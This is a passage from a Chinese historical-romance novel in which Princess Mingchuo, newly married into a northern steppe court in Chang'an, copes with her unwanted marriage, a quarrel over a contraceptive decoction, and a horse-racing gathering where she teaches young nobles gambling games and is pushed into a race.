梁芸姑进来的时候,又看到明绰坐在床上哭。这次她已不问发生了什么,只是静静地陪在边上,心疼地摸着她的头发。明绰从不是这样爱哭的性子,哪怕是刚到长安的时候,再多的不习惯,也没见到她这样的哭法。可乌兰徵才回来一天,她已经痛哭了两个晚上。梁芸姑一面想,此人当真不是良配,一面又想,可是还有什么办法呢?
明绰哭了一会儿,似是终于累了,抬起红肿的眼睛看了梁芸姑一眼,反而安慰她:“我没事。”
于是梁芸姑道:“可汗又去叱云氏屋里了。”
明绰摇了摇头,她根本不在乎:“随他去。”
梁芸姑皱着眉头看她,好一会儿,轻声道:“长公主,这样下去不行的。”
“随他去。”明绰的声音重了一些,“他愿意找谁睡觉就找谁,只要别来碰我!”
梁芸姑迟疑了一番,她虽年长,但从未嫁过人,这种事情她不好说什么。本该是有年长的婆子来教导公主的,但她仁慈,把大部分的人都留在渡口了。如今带来长安的大部分在长秋殿外间洒扫,也没有亲密到能跟明绰说这些事的。她想了想,只好自己硬着头皮劝:“长公主,新妇嫁人,怕也是常事,但此事不能怕呀……”
“我不是怕。”明绰回答她,“我就是不想让他碰我!”
“这也不是害羞的时候……”
明绰抬起眼睛看了梁芸姑一眼,无奈地笑了一声。她要怎么解释呢?也不是害羞。她知道男女之间要做什么,该怎么做。女尚书那里的贵女们总有通人事的,背过身去都爱议论这些个,她早就懂了。就算当时没听过,后来桓宜华也跟她说过一些,就连谢星娥,才那么点儿年纪,进宫以后就是天天愁月事为何不来,萧盈为何不愿意与她同房……她们其实都知道这是怎么回事。
她以为自己准备好了。既然决定了要做乌兰徵的妻子,她没有理由在这件事上抗拒他。可是他靠近的时候,她就是没有办法控制自己。她闻到他身上的酒味,贴到他的胸口和手臂,感觉到他发力的时候肌肉的蓄力,浑身的每一寸就开始尖叫着逃离。
她竟然在这个时候开始想念萧盈。想念他拥抱她的时候总会轻轻用手拢住她的后颈,好像怕她从怀里飞走。想念他什么都不能做的时候敢吻她的指尖,什么都能做的时候又只是为她扶一扶金钗。他的眼睛,他的抚摸,他的吻,从来没有让她害怕过。与其说是被乌兰徵吓着了才坐在这里哭,不如说是因为这份想念让她预感到了以后的日子会有多难熬。
她并不奢求爱上乌兰徵啊。已经有无数的公主嫁给了不爱却必须嫁的人,以后也会有无数的公主嫁给不爱却必须嫁的人。明绰以为她也可以,可是眼泪却怎么流也流不干。
叱云额雅的房间里突然传来了几声欢笑。梁芸姑的脸色有些难看,赶紧安抚着明绰躺下睡觉,轻声道:“我给长公主唱支歌,好不好?”
明绰含着泪点了点头,梁芸姑便唱起了一支建康的小调。不响,但盖过了叱云额雅那边的欢笑。明绰翻了个身,朝着里,闭上了眼睛,把自己融化在熟悉的乡音里,想象着她脱离这具皮囊,随着歌声飘起来,随着月光,清风和江河,掠过满目疮痍的大地,终于回到了故乡。
第二天明绰有意赖了许久才起身,听见叱云额雅把乌兰徵送走了,才假装刚醒过来。段太后不要求晨昏定省,明绰也不想起身,梁芸姑来叫了两遍,见她不愿梳洗,就自去厨
房里给她准备早饭。明绰在床上又赖了一会儿,听见厨房那边突然吵起来了。她一下子坐起来,隐隐听见是梁芸姑和叱云额雅的声音,忙趿着鞋往外跑,还没到小厨房,就听见梁芸姑的声音。
“……我家长公主对你比亲姐妹还亲,你,你居然!”叱云额雅说了什么,但是太着急了,吐出来的都是乌兰语,梁芸姑也不听,只道,“叱云夫人,你做人要有良心啊!”
明绰赶紧跑进去,刚拉住梁芸姑,先看见灶台旁边支了一个炉,烧着一个陶罐,不必问就知道是药,气味让人觉得恶心,不像是普通的草药。叱云额雅身边的宫人跪坐在炉子边上,显然是她在熬。叱云额雅则是站着,也是晨起未梳妆的样子,已被梁芸姑呵斥得脸面通红,双眼含泪。见到明绰来了,方叫了一声,梁芸姑一把拉住了明绰:“长公主别过去!”
明绰先安抚她:“芸姑你别气,怎么了?”
梁芸姑也气得含泪:“你问她!”
叱云额雅已经哭了:“我没有害明绰!这是为了她好!”
“我看是为了你好!”梁芸姑气势汹汹,“你若真心拿我家长公主当朋友,怎么要拿这种东西给她喝!”
明绰低头一看:“这什么?”
叱云额雅抽了抽鼻子,说了个乌兰语的词,明绰没听明白。梁芸姑凑到她耳边,低声道:“避子汤。”
明绰一下子瞪大了眼睛。她自小在宫廷长大,虽然谢拂霜没有什么争宠的必要,但前朝旧事,宫廷秘闻,她也是耳濡目染。什么“避孕散”“避子汤”,乃至“堕胎方”,历来都是后宫女子为了争宠夺权祭出来的手段。这些药往往有虎狼之效,把人吃死了也是常有的,在她心中与毒药无异。
梁芸姑:“她还想送去长公主屋里,还好我多问了一句……”
明绰突然打断她:“你问,她便说了?”
梁芸姑也是一愣,确实是。叱云额雅半点掩饰也没有,还让她快快送去。
明绰叹了口气:“她若真要害我,也没有这样笨的。”她心里想着,多半是两人语言不通,有了什么误会,便安抚似的拍了拍梁芸姑的手,让她稍安勿躁,自己上前一步,抓住了叱云额雅的手,温声道:“这到底是什么?你慢慢说。”
叱云额雅委屈地抽了抽鼻子,果然汉话流畅了一些:“这是能不让你怀上孩子的药,本该是同房前喝一次,同房后再喝……我不知道昨天可汗突然去你那里,明绰,你快喝下去,不然要没有用了……”
梁芸姑气得又要相骂:“长公主,她就是存了这个心啊!”
叱云额雅更委屈了:“我怎么了!”
“你要可汗的专宠,就这般霸道!”梁芸姑恨不得扑上去撕她的脸,明绰只好先拦她。在建康的时候,梁芸姑是太后身边的女史,有什么事情,她至多就是两三句话,没人不听的,何曾有过失态。如今碰到叱云额雅这样,言语又不通,她还没法把人怎么着,竟是把她早年间在掖庭的泼样儿都激出来了,指着叱云额雅的鼻子连声地骂,“你别打量着可汗疼你,就轻狂起来!好啊,装了这么长时间,姐姐妹妹的,一看见我家长公主没立后,装不下去了是吧!我告诉你,有我在这儿,你休想!”
叱云额雅被她骂得眼睛瞪大,竟是有一半都没听明白。梁芸姑骂得急,建康的口音就重,更不明所以,可是她说自己要害明绰,这是明明白白的。叱云额雅身边的宫人也站起来相骂,她更是一句汉话不通,也不知道骂的什么。明绰让她们吵得头都大了,想理个前因后果出来,也没人听她的。末了,只好大叫一声:“行啦!别吵啦!”
梁芸姑一下子噤了声,犹气得胸膛起伏。叱云额雅身边的宫人不听明绰的,还在骂,被叱云额雅喝了一声,才不情不愿地闭了嘴。她显然也动了气,用手背一抹眼泪,转过去,也不肯看明绰了。
明绰只好道:“额雅,可汗他昨夜没有与我做什么。你不必……”
叱云额雅猛地转过来,瞪着她,硬邦邦地挤出一句话来:“你也觉得我是想害你?”
明绰不知道应该怎么说。叱云额雅看起来确实不像要害她,可是连避子汤都端出来了,她是断然不会喝那种东西的。
“那你为什么……”
她没有说完,叱云额雅突然劈手夺过那陶罐,倒了一碗出来,不歇气地一口喝干了。那东西闻着味道不好,喝起来肯定更不是滋味,她的脸都皱成了一团,把空碗重重地往桌上一放,只道:“这是我自己喝的,你觉得我害你,你别喝就是了!”
她说完,也不管明绰是何反应,飞快地跑了出去。梁芸姑没想到她自己会喝下去,一时愣在那里,半晌才道:“真是病得不轻!”
“芸姑!”明绰喝了她一声,皱着眉头,总觉得有什么事想不明白。叱云额雅身边的宫人也追出去了,就剩那个陶罐在灶台上。明绰掀开了看了一眼,里面黑漆漆不知道是什么,掀开来更臭了。她赶紧把盖子又盖上,掩住了鼻子,吩咐道,“你把这个拿去找个太医问问,到底是什么。”
梁芸姑看着她,竟有些被她逗笑了:“长公主,问谁去啊?”
明绰让她问住了,转头看了她一眼才想起来,这里不是建康皇宫。明绰这次带来的书里有很多医典,汉官们整理的时候跟她说了,大燕甚至还没设太医署的官职,西海的权贵们用的是巫医,这些人平日里主要管祭祀和占卜,神神道道的,很不靠谱。连段太后难得有个不舒服,都是从长安民间找的汉人大夫。
梁芸姑:“长公主要不要告诉太后——”
明绰立刻否决:“不行。”
无论叱云额雅是出于什么理由,她是想给别人喝也好,给自己喝也好,后妃只要有避子汤这种东西,就已经是忌讳了。要是告诉了段太后,叱云额雅一定会受到惩罚。她现在虽然不明白额雅为什么要这么做,但她不愿意害她。
“我再去问问她怎么回事吧。”
然而叱云额雅这回是真的生了气,连门都没有给她开。明绰也没了办法,想着回去等她消消气再说,没想到一等,叱云额雅就病了。明绰心里觉得就是她喝下去的那碗药有问题,却没法跟她问个清楚。平日里交好的西海嫔妃们都来了,叱云额雅还在生气,只跟她们叽里咕噜地说乌兰语。明绰讨了个没趣儿,见她也没什么大碍,便也不去了。
就这么过了两天,察察又来请。说可汗和乌兰部的王公们要去御林苑跑马会,让萧夫人也去。那“御林苑”本是前朝的皇家园林,已在长安郊外,羌人疏于打理,成了荒园,西海人来了这几年,又伐倒树木,烧光野草,改成了马场。明绰一听便愣住了,她根本不会骑马。
段知妘似是知道她不会,所以已经提前让察察准备好了回答:“萧夫人不是去骑马的,只需妆扮得好看些,人到就行了。”
但到底要她去做什么,察察就没说了。明绰只好接了旨意,掩上门一想,要她妆扮好看,还能是去干什么?自然是去讨乌兰徵的欢喜。
明绰一想到这个便是说不出的厌烦,一直板着脸,连梁芸姑给她梳头的时候都不敢说话。沉默了一会儿,明绰的视线突然落到了妆奁里的脂粉上。
建康给她备嫁妆,这些东西都是按照从前谢太后的喜好,拣最贵最好的备足,不管她用不用。来了长安以后,一半都被她送给宫里的嫔妃了,尤其额雅得的最多。
但她和从前一样,一用这些东西就脸上发红起疹,见不得人。
明绰突然伸出手,沾了素白铅粉就往脸上扑。梁芸姑赶紧抓她的手腕:“长公主!”
“嘘。”明绰挣开她,示意她不必多言,“是太后让我妆扮得好看些的。”她厚厚地扑上一层,还嫌不够似的,又扑了一层,然后看着镜子里白得毫无血色的一张脸,突然露出了一个笑容。
“那我自然要好好妆扮。”
第46章
日头正盛,马场中间搭起了一座高高的凉亭,顶上遮阳,四面都摆着冰鉴,存着瓜果酒水,供贵人们跑马累了来消暑气——说实话,那冰鉴也起不到多少作用,明绰来了就一直坐在这凉亭里,还是感觉热得快透不过气,真不明白乌兰徵为什么要大热天的搞什么跑马会。
凉亭里倒是一直进进出出的有人来,明绰留心看了一眼,发现今日来的全是年轻人,萧典、齐木格那些老家伙们一个都没露脸。西海人男男女女都有,都着华丽的骑装,有的连爱马身上都装饰了宝石璎珞。汉人竟也不少,但没见几个女子,也有人下去一块儿赛马为乐,但大多数还是坐在凉亭里。温峻那头开了一桌,正清谈讲经。
明绰也听了两句,就不耐烦听了。建康士人多喜欢清谈讲经,但都要找个好山好水的幽静地方,再不济也得是自家庭院里,最好有松有竹,有石有水,那才听得进去这玄而又玄的机锋。明绰还没见过谁讲经是在马场,周围马嘶人吼,尘土飞扬,大伙儿都热得汗流浃背,听得昏昏欲睡。好些个西海的少年也很好奇这群汉人们聚在这儿干嘛呢,过来听了一耳朵,都做着怪脸走开了。
于是明绰只好自个儿呆着,好几次远远地看见乌兰徵骑在马上飞驰而过,他也不往这儿看一眼。明绰满心的疑惑,又热又燥,已是满脸的不高兴。好不容易终于看见段太后策马而来,明绰赶紧从凉亭上下来,想着跟她告个假,自己好回去。
段知妘一身鲜红的骑装,肩上挂了同样鲜红的披风,骑在马上简直像一团火。头发跟乌兰男子一样,先编小辫,再结一条高马尾,随风荡得高高的。她显然骑术精湛,一阵风似的刮到凉亭前,勒缰下马,随手把马鞭扔给已经等着的马夫,动作一气呵成,一派英姿飒爽。
明绰已经迎在阶下:“太后。”
段知妘朝她点了点头,就算是听见了。明绰今天学乖了,穿得很符合场合。虽说了不会骑马,但也着了乌兰人的骑装,面上精心地施了脂粉,却没有戴累赘的首饰,整个人往那里一站,纤秾合度,赏心悦目。
段知妘笑了笑,似是很满意,还没等她说话就示意她上凉亭里去:“别站在日头里说话,快,先给我拿碗冰的来,热煞人了。”
后面一句是对着察察说的。明绰只好又陪她上去,温峻那边见她来了,停下来给她行礼,她只摆摆手,示意他们继续,自己找了个离冰鉴最近的位置,接过察察递来的一盏冰葡萄酒,几乎是一口气就喝干了。
明绰一直没找到机会说话,便陪坐在旁边,拿银质小刀给太后破开了一个甜瓜。
段知妘这才看了她一眼,笑道:“怎么样?玩儿得高兴么?”
明绰切瓜的手一愣,有些惊异地抬起了头。她当然玩得不高兴,但她意外的是,太后难道真是叫她来玩儿的?
“高兴,”明绰低下头,斟酌着字句回应,“可惜东乡不会骑马,不能陪陛下。”
“有什么可惜的。”段知妘笑了笑,把酒盏递还给察察,让她再添酒来,“你很愿意见他么?不是都把他从房里赶出去了?”
明绰没搭话,看来段太后都知道了。
“那太后为何还要……?”
察察又端来了酒,段知妘做了个手势,让她递给明绰。明绰只好停下话头,接过酒道谢。段知妘朝温峻那头点了点下巴,明绰回头看了一眼,还是不解其意,一脸的困惑。
“陛下已经答应了,由温大人主持,在朝中开汉学——要多谢你那些书。”
明绰极力地控制了一下自己的面部表情。别说乌兰徵和段太后之间本就有私情,就算是清清白白,也不见得有几个人能忍受继母这般纵情的。她还以为乌兰徵回来以后就会处置温峻,没想到他不仅没有处置,还重用了。
段知妘不知道她在想什么,喝了一口酒,接着往下说:“汉人的世家子弟自是会来进学,但他们各个都有家学,未必需要。陛下真正想要汉学惠及的……”
段知妘的手凌空点了点,像是画了个大圈。明绰就明白了,乌兰徵是要这些西海年轻一代都学汉人教化。
明绰浑然忘了自己本来是要告退的,不自禁问道:“他们愿意吗?”
“年轻人嘛,多少有点儿好奇心,比那些个老顽固要强些。”段知妘说得平淡,“但也就好奇好奇。”
真要让他们正儿八经上学,就难了,他们家里那些个老顽固也不愿意。
段知妘突然道:“所以叫你来。”
明绰一愣:“我?”
她谁也不认识,又不会骑马,乌兰语也说得半生不熟,叫她来有什么用?
段知妘笑了:“你没发现所有来凉亭的少年人都在看你吗——别回头。”
明绰只好依言不动,但是余光打量着,果然有个十四五岁的西海少年正溜溜达达地探出头来,有意拖着脚步从明绰背后经过,然后十分刻意地绕到她面前,从冰鉴里取了一枚果子,又慢悠悠拖着脚步,走到了几个西海人聚集的那一桌,不知道叽叽咕咕地说笑什么。
段知妘听了两句,朝明绰挤了挤眼睛:“说你美得跟湖里的仙女一样。”
明绰没忍住脸上一红:“湖里?”
“他们信阿瓦神女。”段知妘挑了挑眉,明绰从她的语气中感知到了一丝微妙的不屑,“传说在一千年前,西海还没有人烟。有个叫阿瓦的美丽女子生下了七个儿子,就是所有西海人的祖先。七个儿子长大了,成了起个部落的首领。各部落为了争夺地盘彼此反目,杀得血流成河,此时外族入侵,西海人毫无抵抗之力,几近灭族。阿瓦神女为了保护自己的孩子,向上天献祭了自己,于是天崩地裂,乌拉山裂开了一道口子,把敌人都吞了下去。那块凹陷的大地就成了一片湖,西海人相信,那是他们母亲的泪水。七个部落的首领在阿瓦神女湖边上立誓,永为兄弟,绝不再自相残杀。于是西海人安居乐业了一千年,从七个部落变成了如今的九十六个。他们相信,只要有阿瓦神女的庇佑,西海人就能再安居乐业个一千年。他们觉得呀,最美的女人,都是住在湖里的仙女。”
明绰一时听入了神,心中不由也荡起了对那片湖泊的畅想。段知妘看了她一眼,突然嗤笑了一声:“真有什么阿瓦神女,他们就不用闯到中原来占汉人的土地了。”
明绰轻轻地“啊”了一声,一下子回到了现实里。
段知妘:“西海人自己也不信了。渠搜人和诰弗人从西域带来了佛陀,屠珲部要跟渠搜人做生意,就先改了宗,然后一个接一个……你看,就连神女,要是没法给人带来实际的好处,也是会被抛弃的。”
明绰:“兀臧部叛出,便是因为不满大可汗改宗么?”
“借口罢了。人只要生了野心,什么都可以是借口。”段知妘叹了口气,“大可汗一生纵横无匹,从西海一直打到了辽东……可这天下大得无穷无尽,人的野心再大,命数终究是有限的。国家太大了,便很难守住,一味的开疆拓土也非良策,你说是吧?”
她意有所指地看了明绰一眼,明绰微微垂眼,没着急说什么,细细地琢磨了她说的话。要说疆域,大雍东西向上虽没
有大燕长,但北起幽州,南至百越,实际并不比大燕的国土小。建康一直比较提防北边的蛮族,但谢太后当政这些年,南面大大小小的异族叛乱没怎么断过,只是有天险相隔,始终威胁不到建康,也不成气候。
段太后的意思是,大燕并不想南下吞并建康,也想劝大雍不要生出这种无谓的野心吗?
明绰不禁哑然失笑,她没想到段太后今天召她来竟是同她谈这些。自那天长霄殿外偷看了一眼以后,明绰难免对段太后心中有芥蒂,这倒与她是不是已经自认是乌兰徵的妻子无关。太后与温峻有私情,明绰倒还可以不加多想,但继子继母这样的事情,终究是太颠覆她长这么大的认知。梁芸姑也说段知妘不好,可是当她在明绰面前谈到阿瓦神女的传说,谈到这无穷广阔的天地间,明绰就发现自己很难继续对她抱有敌意和不满。
“是东乡想得窄了。”明绰坦诚地笑了一声,“我还以为太后今日召我来是……”
段知妘闻言看了她一眼。明绰没说完,但她好像明白了明绰心里想的什么,不由“哈”地笑了一声,突然道:“你知道宫里这些女人,谁最会讨陛下的欢心?”
明绰愣了一下,她想说叱云额雅,但又不愿意这样说自己的朋友。
段知妘轻轻往前凑,很小声:“陈云出。”
辽阳侯的女儿,陈夫人。但是明绰听说,乌兰徵一点都不喜欢她。
明绰微微挑眉,看着段太后。她微微后仰,唇角挂了一个讥讽似的笑:“但她父亲不过是条丧家之犬,她什么都没有,自然要想法子讨陛下的欢心——萧明绰,你也什么都没有吗?”
明绰让她问得心头猛震,瞬间有一种拨开见月明的感觉。
“太后……”
“你不用理他。”段知妘摇了摇头,又露出了那种教训儿子似的神色,“他想闹这个脾气,那就随他去。等他有求于你皇兄的时候,你看着他自取其辱就好。”
明绰没忍住笑出来,心里堵了这几天,终于畅快了。
段知妘看了她一眼,竟有些被她逗笑了,半晌,只道:“你母后一定疼你疼得紧。”
才养得这般天真娇气。可是天真娇气也有天真娇气的好,天下人都爱女子纯洁娇憨,要她们的一片赤心,惧怕女子聪明强势,太会谋算。若一个女子看起来足够天真,又足够聪明,那她便可以拿捏这世上大部分的人。
明绰隐约觉得这不是什么好话,也没敢接,只道:“东乡愚钝,还是不知道太后今日召东乡来,我该做什么。”
“没什么,就是让你来玩的。”段知妘随手拣了一块明绰给她剖的瓜,“齐木格跟贺儿薄都老了,不懂知慕少艾。但不是所有人眼里都只看得见你是个汉人。”
她停下来,笑着用余光扫了扫,又一个西海少年站起来,拖拖拉拉地从明绰身后过去,千方百计地偷看了好几眼。明绰回过头,那少年便赶紧从楼梯上跑下去,听那动静,好像还摔了一跤,引得他的同伴们都哈哈大笑,打断了温峻那边的讲经。明绰想了想,突然转回来看了段太后。
母后说过,驭人无非两条路,要么让他们害怕你,要么让他们喜欢你。让人怕是简单的,让人喜欢,却很难强求。所以从前谢太后生杀予夺,不在乎底下人喜不喜欢她。可明绰现在手里没什么东西能让乌兰人怕她。
明绰笑了笑:“那东乡就去玩啦?”
段知妘假装没听见,低头吃她的甜瓜。
明绰跳起来,两步走到了温峻那边,大大方方地往温峻身边一坐。温峻被她吓了一跳,忙让了个位置,行了个礼:“夫人。”
“温大人,”明绰压低了声音,“陛下想让这些少年人自己主动愿意学汉话,你这样干巴巴地讲经,可是适得其反哪!”
温峻被她说得脸上一红。他在汉臣中算很年轻的,到底也三十几了,要不是乌兰徵有这个旨意,本来今日这样全是少年人的场合,肯定是不会叫他的。
“夫人有何见教?”
“有是有,只是难登大雅之堂。”明绰眨了眨眼,“劳烦温大人一会儿替东乡译几句话。”
温峻又拱了拱手:“全听夫人吩咐。”
“好。”明绰已从腰上解下来一条衣带,勉强充作襻膊。其实她今日穿的是乌兰人的骑马装,袖子并不宽大。但总要把袖子绑上去,露出胳膊来,才感觉对了。
“来,咱们先教教他们怎么赌钱吧。”
第47章
论起六博、弈棋、投壶等等玩意儿,明绰先前在家时,水平远不如谢星娥,每每都要输去不少首饰珠宝小玩意儿给表妹。可是如今在一群西海人中间,那可真是威风无两,打遍凉亭无敌手。温峻一开始陪坐在旁边,替明绰翻译翻译规则,但自己不跟他们一起玩。有些汉人少年乌兰语说得也相当不错了,真的玩起来了,说不通的就手舞足蹈地比划,其实用不上温峻,没多久就把他挤到了一边。明绰余光一瞥间,看见温峻走过去,坐在了段太后身边。
两人挨得不算近,说了几句,也都神色如常。温峻姿态恭肃,一点儿看不出两人有什么。
明绰不知道第几次怀疑起来,如果乌兰徵都能重用温峻,那么他和太后有私情恐怕是空穴来风吧?多半有人见温峻年轻得用,又不满女子掌权,所以编排出来污蔑人的。
她心里还是有几分偏向段太后,便拿这话说服了自己。可是正要挪开眼,却见温峻剥了一颗葡萄,拈在指尖送到了太后眼前。段知妘还是笑着,斜着看了他一眼,突然手一拂,有意地把那颗葡萄打落了。温峻便低了头,也笑。段知妘不理会他,让察察把冰过的酒盏拿过来,贴在了自己的颈侧。那酒盏是琉璃的,淡绿色,贴在她沁满了汗珠的皮肉上,衬着她大红的骑装。明绰悄悄一转脸,便看见温峻抬着头,目光幽深地看着太后,一动不动。
光天化日,人声喧嚣,明绰却像是撞破了极隐秘的事情,自己脸先悄悄地发了烫。分明他们也没说什么,做什么,却看得她一颗心“咚咚”直跳。走了个神,投壶已输了。
身边的少年们轰天价地闹起来,惊破了那头无言的二人,温峻和段知妘都转过头来,看着明绰被步察家里的一个女孩儿拽住了手,她只好笑着,从头上取下来一根金步摇,替她簪在了头上。步察家的女孩儿就把自己的金耳饰取下来,交换似的,也递给明绰。
“不不不,不用换。”明绰摇着手,“我输给你了。”
那女孩儿也不知道是没听懂还是固执,还是把那耳饰往明绰手里放。
“我耳上没有穿洞……”明绰比划着,把自己的耳朵亮给她看。汉家女子很少穿耳,不像乌兰人,不限男女,自幼在耳上打洞。那步察女孩儿惊异地瞪大眼睛,温峻的学生便用汉话夹着乌兰语给他们解释,什么叫“身体发肤受之父母”。
段知妘偏过头对温峻道:“学着点儿。”
温峻笑了笑:“臣遵旨。”
一时又有人从亭下上来,是跟着明绰来长安的使唤宫女,方才得了令,去从明绰那一箱一箱的嫁妆里淘换出了一套六博棋来。这套棋具以象牙为筹,雕饰镶金,做工十分精巧,一拿出来,就惹得惊叹声一片。
六博的规则可比投壶要复杂得多,段知妘便朝温峻做了个手势,让他回去替萧夫人解释规则。眼见着凉亭里聚的人越来越多,根本也不凉快了,太后便干脆起了身,又下去骑马了。
太后火红的身影刚跑开,乌兰徵正好奔完了一圈回来。他抬头往凉亭里一看,便意外地勒停了马头。另有三四个乌兰族少年跟在他身后,也跟着停了下来,都抬头往凉亭里看。明绰正跟贺儿薄的孙子贺儿冲在棋盘上鏖战,快要赢了,忽听到下面有人喊了他一声,他立刻从凉亭边上探出身子,看见乌兰徵在底下,便招了招手:“可汗!额珈!”
明绰听懂了后一个词,是唤兄长的意思。她也探出了头,正看见乌兰徵坐在马上,身后一个少年,长得跟这贺儿冲几乎一模一样,显然就是他的“额珈”,正扬着嗓子,用乌兰语问贺儿冲干嘛呢,怎么不来骑马。贺儿冲便指了指明绰,竟换了汉话回答:“下六博棋!”
他那额珈大声吼了一句什么,像是骂了弟弟,明绰不明所以地转过脸,看见贺儿冲一吐舌头。然后乌兰徵笑着摇了摇头,又跟贺儿家的那少年说了一句什么。
“那是贺儿库莫乞。”温峻的声音突
然在明绰耳边响起来,“也是贺儿薄的孙子。”
这个她看出来了。明绰居高临下地看着乌兰徵跟贺儿库莫乞说话的样子,突然问:“陛下同他感情很好吗?”
“他的姑祖母贺儿夫人本是先帝的可敦,陛下生母早亡,是她一手养育成人的。若非贺儿夫人病逝,如今的太后……”温峻说到这里顿了顿,没说下去,只是一笑,续道,“贺儿库莫乞虽比陛下小了一辈,但陛下待他如亲兄弟。”
果然。明绰心中一动,想起第一日见太后时就听说乌兰徵兄弟姊妹共有七人,但除了年幼的云屏公主,她竟是一个都没见过。
“那陛下自己的手足呢?”
温峻垂眸,似是有些不忍,还未回答,先长叹了一口气。
按照汉人的排行,乌兰徵行二。大姐和三妹当初被乌兰郁弗双双嫁给纥罗的子侄,本是期求与羌人联盟。但纥罗谋反事败,两个姐姐也受牵连丧命,没有等到乌兰郁弗大破长安的那一天。四弟五弟则是把命送在了冀州,为了牵制兵力,被陈氏围城数月,困厄而死。六弟还是个孩子,落在了兀臧蛮手中,被掳去西海作为人质。乌兰徵兵临城下,兀臧蛮走投无路,杀死了他的六弟陪葬。为了给六弟报仇,乌兰徵在大捷之后屠灭了兀臧全族,一个活口都没有留。
除了乌兰辉有幸生在了父亲入主长安之后,得以平安长大,其余竟是一个都没能留得下来。
乌兰郁弗纵横无匹的传奇曾短暂地结束了北方漫长的战火,可长安巍巍如山的新朝下,累累皆是亲人的骨。
明绰听温峻说完,心中也不免恻然。贺儿冲此时已经跟兄长说完了话,又转回来示意明绰接着下。可是局势已定,明绰赢得毫无悬念。贺儿冲抓了抓头,很不高兴似的,对明绰说了一串话,明绰只听懂一个“马”的意思,茫然地看了一眼温峻。
温峻笑道:“他不服输,要和夫人赛一赛骑马。”
明绰连忙摇头,她不会啊!
贺儿冲突然探头朝下面喊了一句,乌兰徵身边的人一下子爆发出了极响亮的笑声。明绰低头一看,连乌兰徵也唇边带笑,戏谑地仰头看着她。明绰心中一动,意识到了什么。
西海人劳作靠马,征战也靠马。一个不会骑马的女人,上来就被他们看轻了,不可能成为西海人真正拥戴的皇后。
明绰便同贺儿冲理论起来:“下棋输了便输了,怎么又要比骑马?你怎的这样输不起!”
“贺儿冲!”乌兰徵在底下听得一清二楚,突然喊了一句,“输了要认,别给我丢人现眼!”
“不!”贺儿冲犟起来,也操着汉话对明绰说,“六博,你厉害,不公平。骑马,公平!可汗——”他朝底下叽里咕噜地说了两句,要乌兰徵主持公道。
明绰只好道:“好啦,大不了我不要你的彩头就是了。”
他们原本定下的彩头是一块玉,贺儿冲马上把玉从腰间解下,摁在了明绰手心。
这事儿贺儿冲其实占理。投壶还好,西海也有类似的游戏,他们有输有赢,西海少年们心里是服的。但六博棋西海人都没见过,明绰教完了一遍规则就跟他们下,难免胜之不武。
贺儿冲既给了彩头,便不是输不起。他要求比马,西海少年们都开始起哄。明绰看了一圈,段太后早不知道纵马去哪儿兜风了,她一时没了别的办法,半推半就的,当真被这群少年们拥着下了凉亭。
贺儿库莫乞已让人牵了马来,随她挑。明绰哪里懂马?一时傻站着,乌兰徵不知道何时绕到了她背后,突然问她:“你到底会不会?”
明绰让他吓了一个激灵,还没回答,乌兰徵又道:“不会就不要逞强。”
这话说得硬邦邦的,明绰看着他居高临下坐在马上,当即咬紧了牙关,径直朝一匹枣红的大马走去。
那马想来甚得主人宠爱,鬃毛都梳了辫,脖子里套了五彩璎珞,马鞍上也是雕饰精美,很是华贵。明绰想着,这样的定是好马,便要了这匹。乌兰徵皱起了眉,冲着她摇了摇头。
明绰只作没看见。牵马的人拽着缰绳,控住了它的头,示意明绰可以伸手摸一摸。明绰壮着胆子伸手出去,摸到了马前额的一片毛。看着油光水滑,其实上手还是有些毛毛的。枣红马的眼睛很大,像是什么都明白,明绰看着它的眼睛,心中像是有颗很久远的种子,突然重新生根发芽。
当年萧盈去执金吾卫大营学骑射的时候,她也想学。当时不是为着多么想骑马,只是想继续和皇兄在一块儿。可是母后没让,说大营里男人太多了,终究是不太方便。明绰当时没求到也就算了,后来发现桓宜华会骑马,她又想,桓姐姐是将门之女,大概和公主还是不一样。但如今看见段太后骑马多么英姿飒爽,西海的女孩儿们也个个奔驰往来,恣意潇洒。这么一算,便觉得人人都会,独她不会。明绰心里生出一股失落,还有莫名的好胜。
不就是骑马么?她又不必赢。输给贺儿冲,大家也会觉得是扯平了六博棋那一场,彼此都满意。她只要上马跑完便算成了,能有多难?
她把心一横,学着段太后的样子,踩住上马蹬往马背上爬。姿势虽然不太利落,好歹还是一下就爬了上去。但枣红马似乎不喜欢陌生人骑上来,甩了甩头,往前踱了两步。明绰一紧张,连忙伏身,紧紧抱住了马脖子。
乌兰徵看在眼里,突然嗤笑了一声。不会骑马,偏偏眼光倒好,这枣红马是他的爱驹,爆发力强,耐力也好,只是脾气特别烈,绝不是新手能降住的。
他纵马过去,让牵马的人退下,自己倾身给明绰牵住了缰绳。
“坐直,腰腹发力,腿夹紧马肚,马镫踩实。”他小声提醒,“装也装得像些。”
明绰赶紧一一照做,枣红马鼻子里喷了两口气,前蹄刨了刨地,似是不耐烦。她没想到骑在马上会这么高,马一动,她就紧张得全身都绷紧。乌兰徵没看她,伸手抚了抚马的前额,用乌兰语说了两句话,枣红马又甩了甩头,像是被安抚下来了。乌兰徵这才把缰绳递到了明绰手中,让她双手持住。本来要放手了,但看她持缰的姿势,又无言地握住她的手,把缰绳在她掌心绕了一圈。
“不要逞强,”乌兰徵终于抬头看了她一眼,“摔下来不是好玩的。”
他的话还是不好听,但确实没什么恶意。其实明绰一上马就意识到这比她想的难,刚才那股不知天高地厚的豪情已经烟消云散。乌兰徵这样一说,她更生退意,可是又不愿西海人将她看轻了,一时咬着下唇,神色两难。
贺儿冲已经上了自己的马,随意地一牵缰绳,马便听话转头。明绰看着他姿态娴熟,径直朝自己过来了,当机立断地服了软,压着声音急切道:“乌兰徵,我不比了!”
她大概是真什么都顾不得了,竟然叫了他的名字。乌兰徵微微一怔,还没来得及说什么,贺儿冲已经纵马过来,扬鞭指了一个方向,用汉话说:“跑到那里,先的,赢。”
他似是已经看出来明绰要退缩,话音未落,根本不等别人回答,就在枣红马的臀上狠狠抽了一鞭。枣红马嘶叫一声就冲了出去,贺儿冲哈哈大笑,也抽了自己的马一鞭子,纵马追上。
明绰尖叫一声,一下子忘记了刚才乌兰徵跟她说的话,本能地伏下了身。
有那么半刻功夫,所有人都在笑。萧夫人马术不精是明摆着的事,从她上马的姿势就能看出来了。但是只过了半刻大家便发现,萧夫人不是不精,而是根本不会。她不知道怎么用缰绳控制马的方向,枣红马撒开蹄子就跑歪了。贺儿冲一气奔到了终点,却发现身边已经没了人,茫然地勒马回头,只看见乌兰徵扬鞭而去,追着枣红马去了另一
个方向。
